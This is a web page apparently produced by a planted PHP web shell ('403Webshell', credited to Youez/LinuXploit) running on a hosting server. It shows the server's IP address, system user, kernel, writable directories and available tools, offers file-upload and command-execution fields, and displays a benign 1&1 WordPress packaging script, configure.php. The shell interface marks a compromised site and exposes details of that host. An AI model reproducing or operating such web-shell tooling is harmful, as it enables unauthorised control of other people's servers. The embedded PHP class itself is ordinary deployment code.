403Webshell
Server IP : 217.160.0.95  /  Your IP : 216.73.216.62
Web Server : Apache
System : Linux infong-uk56 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u78863098 ( 10368940)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/oneclick/WordPress/7.0/601/scripts/factory/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/oneclick/WordPress/7.0/601/scripts/factory/configure.php
<?php
namespace Factory;

use \Core\Database;
use \Core\Environment;

use \Exception;

class Configure
{
    protected static $helpText = <<<EOT

    Usage: configure [OPTION]... <app>

        install                                 Install application
        remove                                  Delete application
        configure                               Switch between application modes
        upgrade <current-version> <version>     Upgrade application from <current-version> to <version>
        patch                                   Patch current installation

    Requires minimum PHP 5.5 & MySQL 5.5 versions to assure functionality
    Requires Debian like architectures to ensure maximum stability
    Report bugs to <webhostingapps-bu@1and1.ro>
    For internal use of 1&1 Internet AG application packaging


EOT;

    protected static $allowedCommands = array(
        'install',
        'remove',
        'configure',
        'upgrade',
        'patch',
        'ssl'
    );

    protected $appName;
    protected $commandName;
    protected $commandParams;

    /**
     * @var Environment
     */
    protected $environment;

    public $database;

    public function run($argv)
    {
        try {
            $this->parseArguments($argv);
            $this->validateArguments();
            $this->init();
            $this->openDatabase();
            $this->action();

            print("\nRuntime: " . round(microtime(true) - $_SERVER['REQUEST_TIME_FLOAT'], 0) . 's');
            print("\nStatus:  SUCCESS");
            exit(0);

        } catch (Exception $e) {
            print($e);
            print("\nRuntime: " . round(microtime(true) - $_SERVER['REQUEST_TIME_FLOAT'], 0) . 's');
            print("\nStatus:  FAILED");
            exit(1);
        }
    }

    private function usage()
    {
        printf(self::$helpText);
        exit(1);
    }

    protected function init()
    {
        $this->initEnv();

        if (false === $this->environment->isLinux()) {
            throw new Exception('Environment is not linux.');
        }

        if (version_compare(preg_replace('/[^0-9.]/', '', PHP_VERSION), '5.5', '<')) {
            throw new Exception('PHP 5.5+ required.');
        }

        $this->environment->systemCheck();
    }

    protected function parseArguments($argv)
    {
        if (count($argv) < 2) {
            $this->usage();
        }

        $this->commandName = $argv[1];
        $this->commandParams = array_slice($argv, 2);
    }

    protected function validateArguments()
    {
        if (!in_array($this->commandName, self::$allowedCommands)) {
            throw new Exception("Command {$this->commandName} is not allowed");
        }
    }

    protected function initEnv()
    {
        $this->environment = new Environment();
    }

    public function openDatabase()
    {
        $this->database = new Database(
            $this->environment->get('DB_main_HOST'),
            $this->environment->get('DB_main_LOGIN'),
            $this->environment->get('DB_main_PASSWORD'),
            $this->environment->get('DB_main_NAME')
        );
    }

    protected function action()
    {
        $wrapperFactory = new Factory();

        $this->appName = strtolower($this->environment->get('applicationName'));

        $wrapper = $wrapperFactory->factory($this->appName, $this->environment, $this->database);

        if (!is_callable(array($wrapper, $this->commandName))) {
            throw new Exception("{$this->commandName} is not callable.");
        }

        call_user_func_array(array($wrapper, $this->commandName), $this->commandParams);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit